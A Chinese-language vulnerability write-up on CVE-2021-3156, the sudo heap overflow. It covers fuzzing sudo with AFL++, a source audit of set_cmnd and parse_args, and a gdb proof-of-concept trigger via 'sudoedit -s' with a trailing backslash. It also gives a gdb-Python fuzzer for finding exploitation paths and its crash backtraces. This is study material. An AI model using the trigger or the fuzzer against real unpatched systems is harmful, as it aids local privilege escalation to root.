漏洞分析:CVE 2021-3156

漏洞分析:CVE 2021-3156

漏洞简述

漏洞名称:sudo堆溢出本地提权

漏洞编号:CVE-2021-3156

漏洞类型:堆溢出

漏洞影响:本地提权

利用难度:较高

基础权限:需要普通用户权限

漏洞发现

AFL++ Fuzzer

  在qualys官方给出的分析中,只是对漏洞点进行了分析,没有给出漏洞利用代码,以及发现漏洞的细节。在后续的披露中,qualys的研究人员对外宣称他们是通过审计源码发现的。

  我在学习的过程中,看到了两篇文章有讲到如何使用AFL来对sudo进行fuzz,于是便跟着复现了一次。

  在使用AFLplusplus的时候,也遇到了一些问题,比如一些依赖没有安装好,llvm版本过低等等。

  解决llvm版本过低的问题:ubuntu18.04安装llvm 11

  llvm版本过低,会导致无法使用afl-clang-fast进行编译时的插桩,编译出来的sudo会报错,按照https://apt.llvm.org/上的操作也可解决llvm版本过低的问题。

wget https://apt.llvm.org/llvm.sh
chmod +x llvm.sh
sudo ./llvm.sh <version number> 

  在安装环境的过程中,我建议首先解决llvm的问题,再去安装AFLplusplus,安装AFLplusplus过程如下:

git clone https://github.com/AFLplusplus/AFLplusplus.git
cd AFLplusplus/
sudo apt install build-essential python3-dev automake flex bison libglib2.0-dev libpixman-1-dev clang python3-setuptools clang llvm llvm-dev libstdc++-7-dev
make distrib
sudo make install

  安装时确保libstdc++版本与gcc版本一致。

  在使用AFL++进行fuzz的过程中,需要对sudo源码做出几点修改:

  1.AFL++源码fuzz,需要对sudo进行插桩编译,AFL++要对命令行参数进行fuzz的话,需要引入头文件argv-fuzz-inl.h,同时在sudo.c中main函数开头的地方;

  2.在运行sudo的时候,肯定需要输入密码,否则就会hang住,但是fuzz的过程中我们只关注传入sudoedit的参数能不能导致程序crash,所以sudo_auth.c输入密码的分支那里需要patch一下;

  3.将argv-fuzz-inl.h中rc初始化的值改为0。rc表示的是argv数组的下标,如果rc==1的话,只是将argv[0]之后的参数通过宏替换到stdin标准输入中,而sudoedit是sudo的软链接,而我们也需要去fuzz argv[0];

static char** afl_init_argv(int* argc) {

  static char  in_buf[MAX_CMDLINE_LEN];
  static char* ret[MAX_CMDLINE_PAR];

  char* ptr = in_buf;
  int   rc  = 0; /* start after argv[0] */

  if (read(0, in_buf, MAX_CMDLINE_LEN - 2) < 0);

  while (*ptr) {

    ret[rc] = ptr;

    /* insert '\0' at the end of ret[rc] on first space-sym */
    while (*ptr && !isspace(*ptr)) ptr++;
    *ptr = '\0';
    ptr++;

    /* skip more space-syms */
    while (*ptr && isspace(*ptr)) ptr++;

    rc++;
  }

  *argc = rc;

  return ret;

}

  4.fuzz过程中还要修改progname.c源码,否则会导致将"sudo"和"sudoedit" 作为argv[0] 传入sudo时产生同样的结果:

优化fuzz过程

1.关注fuzz过程中程序的敏感行为

    在自己的fuzz过程中,存在大量开启vi的僵尸进程,这一点liveoverflow的课程中同样讲到,而且思路非常清晰,让我这个fuzz新人学到了许多。我感觉,他讲到的研究思路中最重要的一点,就是通过afl反馈的信息,来推断程序的行为,通过观察敏感行为,思考哪些是值得我们长期关注的,哪些行为是我们在fuzz的过程中需要去忽略并且优化的。

  比如,fuzz的过程中,可以发现fuzz向/var/tmp目录下写入大量的文件,而且文件名是可控的。在这个过程中,我们并不希望开启过多其他进程,导致占用cpu占用率飙升,同时我们又需要关注程序打开并且写入文件的行为。

  liveoverflow在处理的过程中,首先注释掉了所有exec族函数的调用,这样就避免了开启其他的意想不到的进程。同时在程序操作tmp目录的地方让程序crash,这样相当于给afl一个反馈,afl就会更加关注这一条路径。

2.uid不同,sudo行为不同

  sudo可以将普通用户权限提升为一个root用户权限,通过sudo运行afl之后,再去fuzz sudo,被fuzz的sudo就会认为是root用户运行了它,所以要将源码中getuid的地方硬编码,编码为1000,这样在运行过程中,被fuzz的sudo会认为是普通用户运行了它,这样才能达到fuzz的目的。

设置语料,开始fuzz

echo -ne "sudo\0id\0" > ./input/case1
echo -ne "sudoedit\0\id\0" > ./output/case2

代码审计

// plugins/sudoers.c # set_cmnd()
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
  ...
if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) {
      // 为传递的参数开辟堆空间 sudo_warnx(U_(
"%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0'; } else { for (to = user_args, av = NewArgv + 1; *av; av++) { n = strlcpy(to, *av, size - (to - user_args)); if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(NOT_FOUND_ERROR); } to += n; *to++ = ' '; } *--to = '\0'; } }
  ...
}

  sudo会为传递的命令行参数开辟堆空间,注释中写道,当通过shell运行一个命令时(检查MODE_SHELL或者MODE_LOGIN_SHELL标志位),sudo会转义潜在的元字符。

for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }

  这一条分支的本意是,当传入类似 '\n','\t' 这种字符时,不将反斜杠'\'拷贝到堆空间中去,isspace用来检查 ' \ ' 后是不是空格,来个小实验看一下就很清楚。

   似乎没有什么问题,但是,我们回过头来看一看申请堆块的代码。

for (size = 0, av = NewArgv + 1; *av; av++)
            size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL)
  ......

  NewArgv是一个二级指针,av就是传递给sudo的命令行参数,strlen(*av)返回各个命令行参数的长度,size+=strlen(*av)+1,size最后作为malloc的参数,决定申请堆块的大小。strlen函数在处理字符串返回字符串长度的时候,是以'\x00'作为截断的,正常来说,这个'\x00'截断符实际上是替换掉了我们在命令行中输入的 '\n'。

  如果在命令行传递参数的时候,' \ ' 后面跟的不是空格,而是'\x00'截断符,同时后面又跟了一串输入的内容,例如下面这样:

`aaaa\\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n`

  那么strlen函数返回值就是5,因为strlen函数在遇到第一个'\x00'时就会停止,不会计算后面的字符串长度。

for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++;
            *to++ = *from++;
            }
            *to++ = ' ';
        }

  然后,向堆中拷贝字符串时,from[0] == '\\' 时,from[1] == '\x00' ,满足if语句中的条件,from++,'\x00'被拷贝到堆中去,然后from指针再加一,跳过'\x00',满足for循环中的条件,继续向堆中拷贝数据,直到遇到下一个'\x00'。在这个过程中,就造成了一个堆溢出的漏洞。

   从代码审计的角度来看,似乎并不是一个非常复杂的漏洞,要到达漏洞代码处,只要设置MODE_RUN 或MODE_EDIT 或 MODE_CHECK标志位,同时设置MODE_SHELL或者MODE_LOGIN_SHELL即可。

  sudo对于命令行参数的解析和对标志位的设置,都在parse_args.c中完成:

// parse_args.c

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
    int mode = 0;        /* what mode is sudo to be run in? */
    int flags = 0;        /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    const char *progname;
    int proglen;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);

    /* Is someone trying something funny? */
    if (argc <= 0)
    usage();

    /* Pass progname to plugin so it can call initprogname() */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;

    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }
  ...
  case 'e':
            if (mode && mode != MODE_EDIT)
            usage_excl();
            mode = MODE_EDIT;
            sudo_settings[ARG_SUDOEDIT].value = "true";
            valid_flags = MODE_NONINTERACTIVE;
            break;
  ...
  case 'i':
            sudo_settings[ARG_LOGIN_SHELL].value = "true";
            SET(flags, MODE_LOGIN_SHELL);
  ...
  case 's':
            sudo_settings[ARG_USER_SHELL].value = "true";
            SET(flags, MODE_SHELL);
            break;
  ...
  if (!mode)
        mode = MODE_RUN;        /* running a command */
  ...
  if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
  ...
    
if
(ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { char **av, *cmnd = NULL; int ac = 1; if (argc != 0) { /* shell -c "command" */ char *src, *dst; size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) + strlen(argv[argc - 1]) + 1; cmnd = dst = reallocarray(NULL, cmnd_size, 2); if (cmnd == NULL) sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory")); if (!gc_add(GC_PTR, cmnd)) exit(EXIT_FAILURE); for (av = argv; *av != NULL; av++) { for (src = *av; *src != '\0'; src++) { /* quote potential meta characters */ if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')   *dst++ = '\\'; *dst++ = *src; } *dst++ = ' '; } if (cmnd != dst) dst--; /* replace last space with a NULL */ *dst = '\0'; ac += 2; /* -c cmnd */ }

  来看这一段处理命令行参数字符串的代码:

if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
  for
(src = *av; *src != '\0'; src++) { /* quote potential meta characters */ if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')   *dst++ = '\\'; *dst++ = *src; }
}

  isalnum函数检查字符是否是数字或者字符,如果不是数字或者字符,同时也不是'_','-','$'这几个字符的话,*dst就会被赋值为'\\'。回想一下,前面我们想要触发堆溢出,需要在反斜杠后面构造`\x00`,但实际上MODE_RUN和MODE_SHELL如果同时被设置的话,sudo在执行到parse_args函数时,'\x00'就会被替换为'\\',那这样自然无法成功触发漏洞。
   我们再来梳理一下parse_args函数中设置mode和flag两个标志位的过程。

int
parse_args(int argc, char **argv, int *old_optind, int *nargc, char ***nargv,
    struct sudo_settings **settingsp, char ***env_addp)
{
  struct environment extra_env;
    int mode = 0;        /* what mode is sudo to be run in? */
    int flags = 0;        /* mode flags */
    int valid_flags = DEFAULT_VALID_FLAGS;
    int ch, i;
    char *cp;
    const char *progname;
    int proglen;
    debug_decl(parse_args, SUDO_DEBUG_ARGS);

    /* Is someone trying something funny? */
    if (argc <= 0)
    usage();

    /* Pass progname to plugin so it can call initprogname() */
    progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;

    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }
  ...
  case 'e':
            if (mode && mode != MODE_EDIT)
            usage_excl();
            mode = MODE_EDIT;
            sudo_settings[ARG_SUDOEDIT].value = "true";
            valid_flags = MODE_NONINTERACTIVE;
            break;
  ...
  case 'i':
            sudo_settings[ARG_LOGIN_SHELL].value = "true";
            SET(flags, MODE_LOGIN_SHELL);
  ...
  case 's':
            sudo_settings[ARG_USER_SHELL].value = "true";
            SET(flags, MODE_SHELL);
            break;
  ...
  if (!mode)
        mode = MODE_RUN;        /* running a command */
  ...
  if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
  ...

  选择-e参数的话,mode会被赋值为MODE_EDIT,但是无法再设置flag为MODE_SHELL。

  MODE_CHECK也是同样的问题,如果选择-l参数的话,会先设置MODE_LIST,然后设置MODE_CHECK,但是设置了-l参数就无法再传递其他参数。

  如果没有提前设置mode的话,mode会被赋值为MODE_RUN,要到达漏洞点,也可以不设置MODE_SHELL,设置MODE_LOGIN_SHELL也是满足判断条件,如果我们制定参数-i的话,就可以满足同时设置MODE_LOGIN_SHELL和MODE_RUN。

  看起来可以顺利触发漏洞了?来看下面这段代码:

    if (ISSET(flags, MODE_LOGIN_SHELL)) {
    if (ISSET(flags, MODE_SHELL)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -s options"));
        usage();
    }
    if (ISSET(flags, MODE_PRESERVE_ENV)) {
        sudo_warnx("%s",
        U_("you may not specify both the -i and -E options"));
        usage();
    }
    SET(flags, MODE_SHELL);
    }

  在switch分支结束之后,会进行一系列的判断,其中有一条if语句就是判断flags是否被设置为MODE_LOGIN_SHELL,如果flags被设置为MODE_LOGIN_SHELL,那么最后会将flags设置为MODE_SHELL。

  这条路径也被堵死了。

  漏洞的发现者找到了一条非常巧妙的办法规避了parse_args对命令行参数中对元字符的检查,答案其实就在parse_args函数的开头。

  progname = getprogname();
    sudo_settings[ARG_PROGNAME].value = progname;

    /* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
    progname = "sudoedit";
    mode = MODE_EDIT;
    sudo_settings[ARG_SUDOEDIT].value = "true";
    }

  sudoedit是一个指向sudo的软链接,如果progname是sudoedit的话,mode被赋值为MODE_EDIT。后面如果再加上"-s"参数的话,flags就会被设置为MODE_SHELL,通过这条路径就可以顺利到达漏洞代码处。

   poc触发堆溢出,测试一下漏洞:

 漏洞利用

   以root权限运行gdb调试sudoedit,命令行如下:

sudo gdb --args sudoedit -s '\' `perl -e 'print "A" x 20'`

  程序crash之后,在set_cmnd函数处下断点。

   顺利进入到漏洞代码处。

   在第960行调用malloc函数处下断点,同时查看一下当前堆布局:

  我们要申请的chunk应该是0x20大小的,此时tcachebin和fastbin中并没有相应大小的chunk,按照ptmalloc堆分配的规则,下一个chunk将会从unsortedbin中进行切割。如果切割成功的话,unsortedbin会返回0x20大小的chunk,并且切割后空闲chunk继续留在unsortedbin中。

  在第976行处下断点,我们看一下0x562b5ce44ef0处内存布局:

 

   我们输入的内容覆盖了相邻chunk的prev_size字段,所以最后导致报出malloc(): memory corruption的错误。

fuzz利用路径

  通过gdb python来实现一个针对sudo的简单的fuzz工具,我们期望通过fuzz发现可能存在的意外奔溃,并且通过crahs日志,发现相应的攻击路径。用gdb来fuzz的做法,最开始看到sakura师傅还有几位群友在调试这个漏洞时是这样做的,后来看liveoverflow的视频时,看到他本人以及漏洞最初的发现者也是这样的方法来发现攻击路径的。

  但是我本人比较菜,对这方面没有过尝试,我个人思考了一下,想法比较朴素,就如下图所示:

  最开始可以设置一些基础语料,现在我们触发漏洞的方法是已知的,就是`\`后紧跟空字符,那么这个就是必须要添加到基础语料中去的,我们现在已经知道漏洞的触发点,就可以省略语料蒸馏的过程,集中思考如何覆盖更多的路径。

  我们可以设置一个生成器:Generator。构造不同的payload,在循环loop中,不断地修改堆空间,不断地制造崩溃,然后输出bt回溯函数调用栈的信息,策略简单设置两种:一种只是单纯改变溢出长度,另一种是随机添加多个"'\\'",看看对堆内存有什么改变。

  fuzz的过程中,得到了一个有意思的结果(跑了好一段时间才跑出来一次,fuzz脚本还是有问题)。

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
4038    malloc.c: No such file or directory.
#0  _int_malloc (av=av@entry=0x7f170b772c40 <main_arena>, bytes=bytes@entry=384) at malloc.c:4038
#1  0x00007f170b4211f1 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at malloc.c:3446
#2  0x00007f170bdc8026 in _dl_check_map_versions (map=<optimized out>, verbose=verbose@entry=0, trace_mode=trace_mode@entry=0) at dl-version.c:274
#3  0x00007f170bdcb3ec in dl_open_worker (a=a@entry=0x7ffd43dfcee0) at dl-open.c:284
#4  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=0x7ffd43dfcec0, operate=0x7f170bdcaf60 <dl_open_worker>, args=0x7ffd43dfcee0) at dl-error-skeleton.c:196
#5  0x00007f170bdca96a in _dl_open (file=0x7ffd43dfd150 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7f170b4cf766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffd43dfde48) at dl-open.c:605
#6  0x00007f170b4ed2bd in do_dlopen (ptr=ptr@entry=0x7ffd43dfd110) at dl-libc.c:96
#7  0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffd43dfd0b0, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:196
#8  0x00007f170b4ee27f in __GI__dl_catch_error (objname=objname@entry=0x7ffd43dfd100, errstring=errstring@entry=0x7ffd43dfd108, mallocedp=mallocedp@entry=0x7ffd43dfd0ff, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:215
#9  0x00007f170b4ed3e9 in dlerror_run (args=0x7ffd43dfd110, operate=0x7f170b4ed280 <do_dlopen>) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7ffd43dfd150 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#11 0x00007f170b4cf766 in nss_load_library (ni=0x556ad9984ed0) at nsswitch.c:369
#12 0x00007f170b4cff68 in __GI___nss_lookup_function (ni=ni@entry=0x556ad9984ed0, fct_name=<optimized out>, fct_name@entry=0x7f170b53c250 "initgroups_dyn") at nsswitch.c:477
#13 0x00007f170b4677e7 in internal_getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, size=size@entry=0x7ffd43dfd2a8, groupsp=groupsp@entry=0x7ffd43dfd2b0, limit=limit@entry=-1) at initgroups.c:105
#14 0x00007f170b467ab1 in getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, groups=groups@entry=0x7f170bf74010, ngroups=ngroups@entry=0x7ffd43dfd304) at initgroups.c:169
#15 0x00007f170b99fbbd in sudo_getgrouplist2_v1 (name=0x556ad998d9c8 "root", basegid=0, groupsp=groupsp@entry=0x7ffd43dfd360, ngroupsp=ngroupsp@entry=0x7ffd43dfd35c) at ../../../lib/util/getgrouplist.c:98
#16 0x00007f170a422587 in sudo_make_gidlist_item (pw=0x556ad998d998, unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
#17 0x00007f170a42126a in sudo_get_gidlist (pw=0x556ad998d998, type=type@entry=1) at ../../../plugins/sudoers/pwutil.c:926
#18 0x00007f170a41a695 in runas_getgroups () at ../../../plugins/sudoers/match.c:141
#19 0x00007f170a40a2ce in runas_setgroups () at ../../../plugins/sudoers/set_perms.c:1584
#20 set_perms (perm=perm@entry=5) at ../../../plugins/sudoers/set_perms.c:275
#21 0x00007f170a402ecc in sudoers_lookup (snl=0x7f170a65fd80 <snl>, pw=0x556ad998d998, cmnd_status=cmnd_status@entry=0x7f170a65fd94 <cmnd_status>, pwflag=pwflag@entry=0) at ../../../plugins/sudoers/parse.c:355
#22 0x00007f170a40d912 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x556ad9987e50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffd43dfdad0) at ../../../plugins/sudoers/sudoers.c:420
#23 0x00007f170a4058ec in sudoers_policy_check (argc=2, argv=0x556ad9987e50, env_add=0x0, command_infop=0x7ffd43dfdb90, argv_out=0x7ffd43dfdb98, user_env_out=0x7ffd43dfdba0, errstr=0x7ffd43dfdbb8) at ../../../plugins/sudoers/policy.c:1028
#24 0x0000556ad88e96f0 in policy_check (user_env_out=0x7ffd43dfdba0, argv_out=0x7ffd43dfdb98, command_info=0x7ffd43dfdb90, env_add=0x0, argv=0x556ad9987e50, argc=2) at ../../src/sudo.c:1171
#25 main (argc=argc@entry=3, argv=argv@entry=0x7ffd43dfde28, envp=0x7ffd43dfde48) at ../../src/sudo.c:269
#26 0x00007f170b3a8bf7 in __libc_start_main (main=0x556ad88e9080 <main>, argc=3, argv=0x7ffd43dfde28, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffd43dfde18) at ../csu/libc-start.c:310
#27 0x0000556ad88eb74a in _start ()

   fuzz脚本的策略存在问题,而且尝试的时候,忘记没有把命令行参数输出出来,导致也不知道是怎么样的参数可以触发这一条路径,我决定再修改一下脚本,直到可以稳定地在短时间内,碰撞出尽可能多的路径。

import gdb
import random

corpus = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
escapech = "'\\'"

class Generators:
    fuzz_input = ""

    def __init__(self):
        self.fuzz_input = ""

    def generate(self):
        self.fuzz_input = ""
        strategies = random.randint(1,3)
        if strategies == 1:
            self.fuzz_input += escapech
        if strategies in (1,2):
            count = random.randint(1,30)
            for i in range(count):
                start = random.randint(0,25)
                end = random.randint(26,51) 
                if end < start:
                    temp = end
                    end = start
                    start = temp
                self.fuzz_input += "'"
                self.fuzz_input += corpus[start:end] * random.randint(1,9)
                self.fuzz_input += "\\"
                self.fuzz_input += "'"
        else:
            length = random.randint(0x10,0xfff)
            s = "A"*length
            if random.randint(0,1) == 0:
                self.fuzz_input += escapech
            self.fuzz_input += "'"+ s + "'"
            self.fuzz_input += '\\'
            S1 = random.randint(0,2)

            if S1 == 0:
                for i in range(random.randint(0,4)):
                    self.fuzz_input += "'"
                    self.fuzz_input += 'b'*random.randint(16,0x10000) + "\\"
                    self.fuzz_input += "'"
            elif S1 == 1:
                for i in range(random.randint(10,50)):
                    self.fuzz_input += "'"
                    self.fuzz_input += 'c'*random.randint(16,256) + "'\\'"
                    self.fuzz_input += "'"
            else:
                self.fuzz_input += ""
        return self.fuzz_input

def loop(G):
    for i in range(1000):
        try:
            payload = G.generate(G)
            print('\n%s'%payload)
            gdb.execute("r -s %s"%(payload))
            gdb.execute("bt")
        except Exception as e:
            print('\n%s\n'%e)

gdb.execute("set pagination off")
gdb.execute("set logging on ./crash_log.output")
gdb.execute("bt")
#gdb.execute("b nss_load_library")
G = Generators
loop(G)
gdb.execute("quit")

  我将Generator构造的参数输出,重新跑了一次脚本,分析一下crash的输出文件,我发现出现最多的还是下面这条路径:

'\''AAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f68c75ae921 in __GI_abort () at abort.c:79
#2  0x00007f68c75f7967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f68c7724b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f68c75fe9da in malloc_printerr (str=str@entry=0x7f68c7722d8e "malloc(): memory corruption") at malloc.c:5342
#4  0x00007f68c7602b24 in _int_malloc (av=av@entry=0x7f68c7959c40 <main_arena>, bytes=bytes@entry=262148) at malloc.c:3748
#5  0x00007f68c76051cc in __GI___libc_malloc (bytes=262148) at malloc.c:3067
#6  0x00007f68c7b86b9f in sudo_getgrouplist2_v1 (name=0x5623838db9c8 "root", basegid=0, groupsp=groupsp@entry=0x7fffd9623680, ngroupsp=ngroupsp@entry=0x7fffd962367c) at ../../../lib/util/getgrouplist.c:94
#7  0x00007f68c6609587 in sudo_make_gidlist_item (pw=0x5623838db998, unused1=<optimized out>, type=1) at ../../../plugins/sudoers/pwutil_impl.c:269
#8  0x00007f68c660826a in sudo_get_gidlist (pw=0x5623838db998, type=type@entry=1) at ../../../plugins/sudoers/pwutil.c:926
#9  0x00007f68c6601695 in runas_getgroups () at ../../../plugins/sudoers/match.c:141
#10 0x00007f68c65f12ce in runas_setgroups () at ../../../plugins/sudoers/set_perms.c:1584
......

   偶尔出现几次调用_int_free报错的路径:

'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f46dd840921 in __GI_abort () at abort.c:79
#2  0x00007f46dd889967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f46dd9b6b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f46dd8909da in malloc_printerr (str=str@entry=0x7f46dd9b8818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007f46dd897f6a in _int_free (have_lock=0, p=0x560deb254490, av=0x7f46ddbebc40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x560deb2544a0) at malloc.c:3134
#6  0x00007f46dc8750e8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffff46d0d90) at ../../../plugins/sudoers/locale.c:119
#7  0x00007f46dc8868f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x560deb24ee50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffff46d0e10) at ../../../plugins/sudoers/sudoers.c:419
#8  0x00007f46dc87e8ec in sudoers_policy_check (argc=2, argv=0x560deb24ee50, env_add=0x0, command_infop=0x7ffff46d0ed0, argv_out=0x7ffff46d0ed8, user_env_out=0x7ffff46d0ee0, errstr=0x7ffff46d0ef8) at ../../../plugins/sudoers/policy.c:1028
#9  0x0000560dea4846f0 in policy_check (user_env_out=0x7ffff46d0ee0, argv_out=0x7ffff46d0ed8, command_info=0x7ffff46d0ed0, env_add=0x0, argv=0x560deb24ee50, argc=2) at ../../src/sudo.c:1171
#10 main (argc=argc@entry=3, argv=argv@entry=0x7ffff46d1168, envp=0x7ffff46d1188) at ../../src/sudo.c:269
#11 0x00007f46dd821bf7 in __libc_start_main (main=0x560dea484080 <main>, argc=3, argv=0x7ffff46d1168, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffff46d1158) at ../csu/libc-start.c:310
#12 0x0000560dea48674a in _start ()
'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f35b4973921 in __GI_abort () at abort.c:79
#2  0x00007f35b49bc967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7f35b4ae9b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3  0x00007f35b49c39da in malloc_printerr (str=str@entry=0x7f35b4aeb818 "double free or corruption (out)") at malloc.c:5342
#4  0x00007f35b49caf6a in _int_free (have_lock=0, p=0x562f76684490, av=0x7f35b4d1ec40 <main_arena>) at malloc.c:4308
#5  __GI___libc_free (mem=0x562f766844a0) at malloc.c:3134
#6  0x00007f35b39a80e8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffe6d064700) at ../../../plugins/sudoers/locale.c:119
#7  0x00007f35b39b98f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x562f7667ee50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe6d064780) at ../../../plugins/sudoers/sudoers.c:419
#8  0x00007f35b39b18ec in sudoers_policy_check (argc=2, argv=0x562f7667ee50, env_add=0x0, command_infop=0x7ffe6d064840, argv_out=0x7ffe6d064848, user_env_out=0x7ffe6d064850, errstr=0x7ffe6d064868) at ../../../plugins/sudoers/policy.c:1028
#9  0x0000562f7595e6f0 in policy_check (user_env_out=0x7ffe6d064850, argv_out=0x7ffe6d064848, command_info=0x7ffe6d064840, env_add=0x0, argv=0x562f7667ee50, argc=2) at ../../src/sudo.c:1171
#10 main (argc=argc@entry=3, argv=argv@entry=0x7ffe6d064ad8, envp=0x7ffe6d064af8) at ../../src/sudo.c:269
#11 0x00007f35b4954bf7 in __libc_start_main (main=0x562f7595e080 <main>, argc=3, argv=0x7ffe6d064ad8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6d064ac8) at ../csu/libc-start.c:310
#12 0x0000562f7596074a in _start ()
'\''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''\'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
51    ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
